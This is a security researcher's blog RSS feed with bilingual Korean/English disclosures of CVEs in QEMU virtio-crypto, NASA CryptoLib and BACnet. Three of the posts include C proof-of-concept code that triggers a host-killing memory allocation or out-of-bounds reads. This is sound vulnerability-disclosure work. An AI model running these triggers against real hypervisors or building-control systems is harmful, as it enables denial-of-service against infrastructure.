<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Finder</title>
    <link>https://finder16.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sun, 24 May 2026 21:14:18 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Finder16</managingEditor>
    <image>
      <title>Finder</title>
      <url>https://tistory1.daumcdn.net/tistory/7176552/attach/fd0d004c6c1645758a67eca31fbcf117</url>
      <link>https://finder16.tistory.com</link>
    </image>
    <item>
      <title>CVE-2025-14876</title>
      <link>https://finder16.tistory.com/9</link>
      <description>&lt;h1&gt;KR&lt;/h1&gt;
&lt;h2&gt;qemu&lt;/h2&gt;
&lt;p&gt;qemu는 CPU 아키텍처를 소프트웨어 기반으로 에뮬레이팅해주는 툴입니다&lt;/p&gt;
&lt;h2&gt;취약점 설명&lt;/h2&gt;
&lt;p&gt;virtio-crypto.c에서 AKCIPHER 처리 로직에서 터지는 취약접입니다&lt;/p&gt;
&lt;p&gt;symmetric경로에선 conf.max_size를 사용해 입력 길이 제한을 강제하지만 AKCIPHER 검증이 없습니다&lt;/p&gt;
&lt;p&gt;따라서 게스트는 큰 값을 할당을 시도할수있으며 게스트에서 호스트를 kill할수있는 취약점이 터지게됩니다&lt;/p&gt;
&lt;h2&gt;PoC&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;quot;qemu/osdep.h&amp;quot;
  #include &amp;quot;libqtest.h&amp;quot;
  #include &amp;quot;qemu/bswap.h&amp;quot;
  #include &amp;quot;standard-headers/linux/virtio_crypto.h&amp;quot;
  #include &amp;quot;standard-headers/linux/pci_regs.h&amp;quot;
  #include &amp;quot;libqos/malloc-pc.h&amp;quot;
  #include &amp;quot;libqos/pci-pc.h&amp;quot;
  #include &amp;quot;libqos/virtio-pci.h&amp;quot;

  #define HUGE_LEN 0xF0000000U /* ~3.75 GiB per buffer */

  static QPCIDevice *find_virtio_dev(QPCIBus *bus, uint16_t *out_devfn)
  {
      QPCIDevice *pdev = g_new0(QPCIDevice, 1);
      pdev-&amp;gt;bus = bus;

      for (int devfn = 0; devfn &amp;lt; 256; devfn++) {
          uint16_t vendor, device;

          pdev-&amp;gt;devfn = devfn;
          vendor = qpci_config_readw(pdev, PCI_VENDOR_ID);
          if (vendor != 0x1af4) {
              continue;
          }
          device = qpci_config_readw(pdev, PCI_DEVICE_ID);
          /* first virtio-pci device we see */
          *out_devfn = devfn;
          pdev-&amp;gt;devfn = devfn;
          pdev-&amp;gt;msix_enabled = false;
          return pdev;
      }

      g_free(pdev);
      return NULL;
  }

  static void test_virtio_crypto_oom(void)
  {
      QTestState *qts = qtest_init(&amp;quot;-machine q35 -accel qtest -nodefaults &amp;quot;
                                   &amp;quot;-display none &amp;quot;
                                   &amp;quot;-object cryptodev-backend-builtin,id=crypt0 &amp;quot;
                                   &amp;quot;-device virtio-crypto-pci,cryptodev=crypt0&amp;quot;);
      QGuestAllocator alloc;
      QPCIBus *bus;
      QPCIDevice *pdev;
      QVirtioPCIDevice *vdev;
      QVirtQueue *vq;
      QPCIAddress addr = { 0 };
      struct virtio_crypto_op_data_req req = { 0 };
      uint64_t req_addr, status_addr;
      uint8_t status = 0xff;
      uint32_t free_head;

      pc_alloc_init(&amp;amp;alloc, qts, ALLOC_NO_FLAGS);
      bus = qpci_new_pc(qts, &amp;amp;alloc);
      g_assert_nonnull(bus);

      pdev = find_virtio_dev(bus, (uint16_t *)&amp;amp;addr.devfn);
      g_assert_nonnull(pdev);

      addr.vendor_id = qpci_config_readw(pdev, PCI_VENDOR_ID);
      addr.device_id = qpci_config_readw(pdev, PCI_DEVICE_ID);

      vdev = virtio_pci_new(bus, &amp;amp;addr);
      g_assert_nonnull(vdev);

      qvirtio_pci_device_enable(vdev);
      qvirtio_reset(&amp;amp;vdev-&amp;gt;vdev);

      qvirtio_set_acknowledge(&amp;amp;vdev-&amp;gt;vdev);
      qvirtio_set_driver(&amp;amp;vdev-&amp;gt;vdev);
      uint64_t features = qvirtio_get_features(&amp;amp;vdev-&amp;gt;vdev) |
                          (1ull &amp;lt;&amp;lt; VIRTIO_F_VERSION_1);
      qvirtio_set_features(&amp;amp;vdev-&amp;gt;vdev, features);
      qvirtio_set_driver_ok(&amp;amp;vdev-&amp;gt;vdev);

      vq = qvirtqueue_setup(&amp;amp;vdev-&amp;gt;vdev, &amp;amp;alloc, 0);
      g_assert_nonnull(vq);

      req.header.opcode = cpu_to_le32(VIRTIO_CRYPTO_AKCIPHER_ENCRYPT);
      req.u.akcipher_req.para.src_data_len = cpu_to_le32(HUGE_LEN);
      req.u.akcipher_req.para.dst_data_len = cpu_to_le32(HUGE_LEN);

      req_addr = guest_alloc(&amp;amp;alloc, sizeof(req));
      qtest_memwrite(qts, req_addr, &amp;amp;req, sizeof(req));

      status_addr = guest_alloc(&amp;amp;alloc, sizeof(status));
      qtest_memwrite(qts, status_addr, &amp;amp;status, sizeof(status));

      free_head = qvirtqueue_add(qts, vq, req_addr, sizeof(req),
                                 false, true);
      qvirtqueue_add(qts, vq, status_addr, sizeof(status),
                     true, false);
      qvirtqueue_kick(qts, &amp;amp;vdev-&amp;gt;vdev, vq, free_head);
      qtest_quit(qts);
  }

  int main(int argc, char **argv)
  {
      g_test_init(&amp;amp;argc, &amp;amp;argv, NULL);
      g_test_add_func(&amp;quot;/virtio/crypto/oom&amp;quot;, test_virtio_crypto_oom);
      return g_test_run();
  }&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;EN&lt;/h1&gt;
&lt;h2&gt;QEMU&lt;/h2&gt;
&lt;p&gt;QEMU is a tool that emulates CPU architectures using software-based virtualization&lt;/p&gt;
&lt;h2&gt;Vulnerability Description&lt;/h2&gt;
&lt;p&gt;This vulnerability occurs in the AKCIPHER handling logic in virtio-crypto.c&lt;/p&gt;
&lt;p&gt;While the symmetric path enforces an input length limit using conf.max_size the AKCIPHER path lacks any such validation&lt;br&gt;As a result, a guest can request extremely large allocations leading QEMU to attempt excessive memory allocation and ultimately crash&lt;/p&gt;
&lt;p&gt;This allows an unprivileged guest to trigger a Dos effectively killing the host QEMU process&lt;/p&gt;
&lt;h2&gt;PoC&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;quot;qemu/osdep.h&amp;quot;
  #include &amp;quot;libqtest.h&amp;quot;
  #include &amp;quot;qemu/bswap.h&amp;quot;
  #include &amp;quot;standard-headers/linux/virtio_crypto.h&amp;quot;
  #include &amp;quot;standard-headers/linux/pci_regs.h&amp;quot;
  #include &amp;quot;libqos/malloc-pc.h&amp;quot;
  #include &amp;quot;libqos/pci-pc.h&amp;quot;
  #include &amp;quot;libqos/virtio-pci.h&amp;quot;

  #define HUGE_LEN 0xF0000000U /* ~3.75 GiB per buffer */

  static QPCIDevice *find_virtio_dev(QPCIBus *bus, uint16_t *out_devfn)
  {
      QPCIDevice *pdev = g_new0(QPCIDevice, 1);
      pdev-&amp;gt;bus = bus;

      for (int devfn = 0; devfn &amp;lt; 256; devfn++) {
          uint16_t vendor, device;

          pdev-&amp;gt;devfn = devfn;
          vendor = qpci_config_readw(pdev, PCI_VENDOR_ID);
          if (vendor != 0x1af4) {
              continue;
          }
          device = qpci_config_readw(pdev, PCI_DEVICE_ID);
          /* first virtio-pci device we see */
          *out_devfn = devfn;
          pdev-&amp;gt;devfn = devfn;
          pdev-&amp;gt;msix_enabled = false;
          return pdev;
      }

      g_free(pdev);
      return NULL;
  }

  static void test_virtio_crypto_oom(void)
  {
      QTestState *qts = qtest_init(&amp;quot;-machine q35 -accel qtest -nodefaults &amp;quot;
                                   &amp;quot;-display none &amp;quot;
                                   &amp;quot;-object cryptodev-backend-builtin,id=crypt0 &amp;quot;
                                   &amp;quot;-device virtio-crypto-pci,cryptodev=crypt0&amp;quot;);
      QGuestAllocator alloc;
      QPCIBus *bus;
      QPCIDevice *pdev;
      QVirtioPCIDevice *vdev;
      QVirtQueue *vq;
      QPCIAddress addr = { 0 };
      struct virtio_crypto_op_data_req req = { 0 };
      uint64_t req_addr, status_addr;
      uint8_t status = 0xff;
      uint32_t free_head;

      pc_alloc_init(&amp;amp;alloc, qts, ALLOC_NO_FLAGS);
      bus = qpci_new_pc(qts, &amp;amp;alloc);
      g_assert_nonnull(bus);

      pdev = find_virtio_dev(bus, (uint16_t *)&amp;amp;addr.devfn);
      g_assert_nonnull(pdev);

      addr.vendor_id = qpci_config_readw(pdev, PCI_VENDOR_ID);
      addr.device_id = qpci_config_readw(pdev, PCI_DEVICE_ID);

      vdev = virtio_pci_new(bus, &amp;amp;addr);
      g_assert_nonnull(vdev);

      qvirtio_pci_device_enable(vdev);
      qvirtio_reset(&amp;amp;vdev-&amp;gt;vdev);

      qvirtio_set_acknowledge(&amp;amp;vdev-&amp;gt;vdev);
      qvirtio_set_driver(&amp;amp;vdev-&amp;gt;vdev);
      uint64_t features = qvirtio_get_features(&amp;amp;vdev-&amp;gt;vdev) |
                          (1ull &amp;lt;&amp;lt; VIRTIO_F_VERSION_1);
      qvirtio_set_features(&amp;amp;vdev-&amp;gt;vdev, features);
      qvirtio_set_driver_ok(&amp;amp;vdev-&amp;gt;vdev);

      vq = qvirtqueue_setup(&amp;amp;vdev-&amp;gt;vdev, &amp;amp;alloc, 0);
      g_assert_nonnull(vq);

      req.header.opcode = cpu_to_le32(VIRTIO_CRYPTO_AKCIPHER_ENCRYPT);
      req.u.akcipher_req.para.src_data_len = cpu_to_le32(HUGE_LEN);
      req.u.akcipher_req.para.dst_data_len = cpu_to_le32(HUGE_LEN);

      req_addr = guest_alloc(&amp;amp;alloc, sizeof(req));
      qtest_memwrite(qts, req_addr, &amp;amp;req, sizeof(req));

      status_addr = guest_alloc(&amp;amp;alloc, sizeof(status));
      qtest_memwrite(qts, status_addr, &amp;amp;status, sizeof(status));

      free_head = qvirtqueue_add(qts, vq, req_addr, sizeof(req),
                                 false, true);
      qvirtqueue_add(qts, vq, status_addr, sizeof(status),
                     true, false);
      qvirtqueue_kick(qts, &amp;amp;vdev-&amp;gt;vdev, vq, free_head);
      qtest_quit(qts);
  }

  int main(int argc, char **argv)
  {
      g_test_init(&amp;amp;argc, &amp;amp;argv, NULL);
      g_test_add_func(&amp;quot;/virtio/crypto/oom&amp;quot;, test_virtio_crypto_oom);
      return g_test_run();
  }&lt;/code&gt;&lt;/pre&gt;</description>
      <author>Finder16</author>
      <guid isPermaLink="true">https://finder16.tistory.com/9</guid>
      <comments>https://finder16.tistory.com/9#entry9comment</comments>
      <pubDate>Wed, 14 Jan 2026 21:28:28 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2026-21898</title>
      <link>https://finder16.tistory.com/8</link>
      <description>&lt;h1&gt;KR&lt;/h1&gt;
&lt;h2&gt;CryptoLib&lt;/h2&gt;
&lt;p&gt;CryptoLib은 NASA의 cFS(core Flight System)가 구동되는 우성체와 지상국 간의 통신을 보호하기 위해 하드웨어 보안 모듈(HSM) 없이 소프트웨어만으로 CCSDS SDLS-EP(Extended Procedures)를 구현한 오픈소스 프로젝트입니다&lt;/p&gt;
&lt;h2&gt;취약점 설명&lt;/h2&gt;
&lt;p&gt;crypto_aos.c 에서 FHECF를 파싱할때 길이 검사가 프레임 최소 길이를 aos_hdr_len(6바이트)만 확인하고, aos_has_fhec == AOS_HAS_FHEC이면 곧바로 p_ingest[6], p_ingest[7]을 읽고 Crypto_Calc_FHECF(p_ingest)를 호출합니다&lt;br&gt;따라서 길이가 6~7바이트로 잘린 AOS 프레임을 넣으면 OOB Read가 트리거됩니다&lt;br&gt;이후 len_ingest &amp;lt; max_frame_size 체크가 있지만 OOB Read가 생기고 검증합니다&lt;/p&gt;
&lt;h2&gt;poc&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

static const int aos_has_fhec = 1;

int process_frame(uint8_t *p_ingest, size_t len_ingest)
{
    const size_t aos_hdr_len = 6;
    size_t       byte_idx    = aos_hdr_len;

    if (len_ingest &amp;lt; aos_hdr_len)
    {
        fprintf(stderr, &amp;quot;Frame too short for header\n&amp;quot;);
        return -1;
    }

    if (aos_has_fhec)
    {
        uint16_t received_fhecf =
            ((uint16_t)p_ingest[byte_idx] &amp;lt;&amp;lt; 8) | ((uint16_t)p_ingest[byte_idx + 1]);
        printf(&amp;quot;Parsed FHECF (OOB read) = 0x%04x\n&amp;quot;, received_fhecf);
    }

    return 0;
}

int main(void)
{
    uint8_t frame[6];
    memset(frame, 0xAA, sizeof(frame));

    printf(&amp;quot;Feeding %zu-byte frame to vulnerable parser...\n&amp;quot;, sizeof(frame));
    int rc = process_frame(frame, sizeof(frame));

    printf(&amp;quot;Return code: %d\n&amp;quot;, rc);
    return rc;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;EN&lt;/h1&gt;
&lt;h2&gt;CryptoLib&lt;/h2&gt;
&lt;p&gt;CryptoLib is an open-source project that implements CCSDS SDLS-EP (Extended Procedures) purely in software, without relying on a hardware security module (HSM), to protect communications between spacecraft running NASA’s cFS (core Flight System) and ground stations.&lt;/p&gt;
&lt;h2&gt;Vulnerability Description&lt;/h2&gt;
&lt;p&gt;In crypto_aos.c when parsing the FHECF the length check only verifies the minimum AOS frame length (aos_hdr_len, 6 bytes).&lt;br&gt;If aos_has_fhec == AOS_HAS_FHEC the code immediately reads p_ingest[6] and p_ingest[7] and calls Crypto_Calc_FHECF(p_ingest)&lt;/p&gt;
&lt;p&gt;As a result providing a truncated AOS frame with a length of 6–7 bytes triggers an out-of-bounds read&lt;br&gt;Although there is a subsequent check of len_ingest &amp;lt; max_frame_size, the out-of-bounds read occurs before this validation&lt;/p&gt;
&lt;h2&gt;poc&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

static const int aos_has_fhec = 1;

int process_frame(uint8_t *p_ingest, size_t len_ingest)
{
    const size_t aos_hdr_len = 6;
    size_t       byte_idx    = aos_hdr_len;

    if (len_ingest &amp;lt; aos_hdr_len)
    {
        fprintf(stderr, &amp;quot;Frame too short for header\n&amp;quot;);
        return -1;
    }

    if (aos_has_fhec)
    {
        uint16_t received_fhecf =
            ((uint16_t)p_ingest[byte_idx] &amp;lt;&amp;lt; 8) | ((uint16_t)p_ingest[byte_idx + 1]);
        printf(&amp;quot;Parsed FHECF (OOB read) = 0x%04x\n&amp;quot;, received_fhecf);
    }

    return 0;
}

int main(void)
{
    uint8_t frame[6];
    memset(frame, 0xAA, sizeof(frame));

    printf(&amp;quot;Feeding %zu-byte frame to vulnerable parser...\n&amp;quot;, sizeof(frame));
    int rc = process_frame(frame, sizeof(frame));

    printf(&amp;quot;Return code: %d\n&amp;quot;, rc);
    return rc;
}&lt;/code&gt;&lt;/pre&gt;</description>
      <author>Finder16</author>
      <guid isPermaLink="true">https://finder16.tistory.com/8</guid>
      <comments>https://finder16.tistory.com/8#entry8comment</comments>
      <pubDate>Sun, 11 Jan 2026 11:27:37 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2026-21897</title>
      <link>https://finder16.tistory.com/7</link>
      <description>&lt;h1&gt;KR&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;CryptoLib&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CryptoLib은 NASA의 cFS(core Flight System)가 구동되는 우성체와 지상국 간의 통신을 보호하기 위해 하드웨어 보안 모듈(HSM) 없이 소프트웨어만으로 CCSDS SDLS-EP(Extended Procedures)를 구현한 오픈소스 프로젝트입니다&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약점 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Crypto_Config_Add_Gvcid_Managed_Parameters 함수는 gvcid_counter &amp;gt; GVCID_MAN_PARAM_SIZE 조건만을 검사합니다(src/core/crypto_config.c&lt;br /&gt;그 결과 최대 251번째 엔트리까지 허용하게 되며 이는 oob를 트리거하여 gvcid_managed_parameters_array[250] 바로 뒤에 위치한 gvcid_counter를 덮어쓰게 됩니다&lt;br /&gt;이로 인해 oob write 취약점이 발생하며 덮어써진 gvcid_counter 값이 임의의 값으로 변조될 수 있어 해당 값을 기반으로 동작하는 파라미터 조회 및 등록 로직에 잠재적인 영향을 미칠 수 있습니다&lt;/p&gt;
&lt;h1&gt;EN&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;CryptoLib&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CryptoLib is an open-source project that implements CCSDS SDLS-EP (Extended Procedures) purely in software, without relying on a hardware security module (HSM), in order to protect communications between spacecraft running NASA&amp;rsquo;s cFS (core Flight System) and ground stations.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Vulnerability Description&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The Crypto_Config_Add_Gvcid_Managed_Parameters function only checks the condition gvcid_counter &amp;gt; GVCID_MAN_PARAM_SIZE (src/core/crypto_config.c).&lt;br /&gt;As a result, it allows up to the 251st entry, which triggers an out-of-bounds condition and overwrites gvcid_counter, which is located immediately after gvcid_managed_parameters_array[250].&lt;br /&gt;This leads to an out-of-bounds write vulnerability, and the overwritten gvcid_counter may be corrupted to an arbitrary value, potentially affecting parameter lookup and registration logic that relies on this counter.&lt;/p&gt;</description>
      <author>Finder16</author>
      <guid isPermaLink="true">https://finder16.tistory.com/7</guid>
      <comments>https://finder16.tistory.com/7#entry7comment</comments>
      <pubDate>Sun, 11 Jan 2026 11:09:28 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2025-66624</title>
      <link>https://finder16.tistory.com/5</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1020&quot; data-origin-height=&quot;367&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bamPCj/dJMcac9AVMq/NcyZY7TTzo1q28ZOfM1ub1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bamPCj/dJMcac9AVMq/NcyZY7TTzo1q28ZOfM1ub1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bamPCj/dJMcac9AVMq/NcyZY7TTzo1q28ZOfM1ub1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbamPCj%2FdJMcac9AVMq%2FNcyZY7TTzo1q28ZOfM1ub1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1020&quot; height=&quot;367&quot; data-origin-width=&quot;1020&quot; data-origin-height=&quot;367&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;BAcnet는에서 저의 첫 cve를 발급받았습니다&lt;br&gt;BAcnet는 빌딩을 제어하는 산업제어용 프로토콜로 건물 자동화 및 제어 시스템을 위해 사용된다고합니다&lt;br&gt;해당 버그는 npdu.c의 NPDU 파싱 로직에서 길이 검증 없이 고정 오프셋으로 바이트를 참조하기 때문에 발생합니다&lt;br&gt;request_pdu[offset+2/3/5] 및 reply_pdu[offset+1/2/4]를 인덱싱을 할때 해당 APDU 바이트가 실제로 존재하는지 검증을 하지않습니다&lt;br&gt;bacnet_npdu_decode()는 는 2바이트짜리 NPDU에 대해 offset == 2를 반환을 해서 작은 PDU들이 버전 체크를 통과한 뒤 oob read가 발생합니다&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdbool.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;quot;bacnet/npdu.h&amp;quot;

int main(void) {
    /* minimal NPDU: version=1, control=DER flag only */
    uint8_t tiny_pdu[2] = { BACNET_PROTOCOL_VERSION, 0x04 };

    /* addresses/lengths are ignored but match API signature */
    bool ok = npdu_is_data_expecting_reply(
        tiny_pdu, sizeof(tiny_pdu), 1,
        tiny_pdu, sizeof(tiny_pdu), 1);

    printf(&amp;quot;npdu_is_data_expecting_reply returned %d\n&amp;quot;, ok);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <author>Finder16</author>
      <guid isPermaLink="true">https://finder16.tistory.com/5</guid>
      <comments>https://finder16.tistory.com/5#entry5comment</comments>
      <pubDate>Fri, 9 Jan 2026 00:19:45 +0900</pubDate>
    </item>
  </channel>
</rss>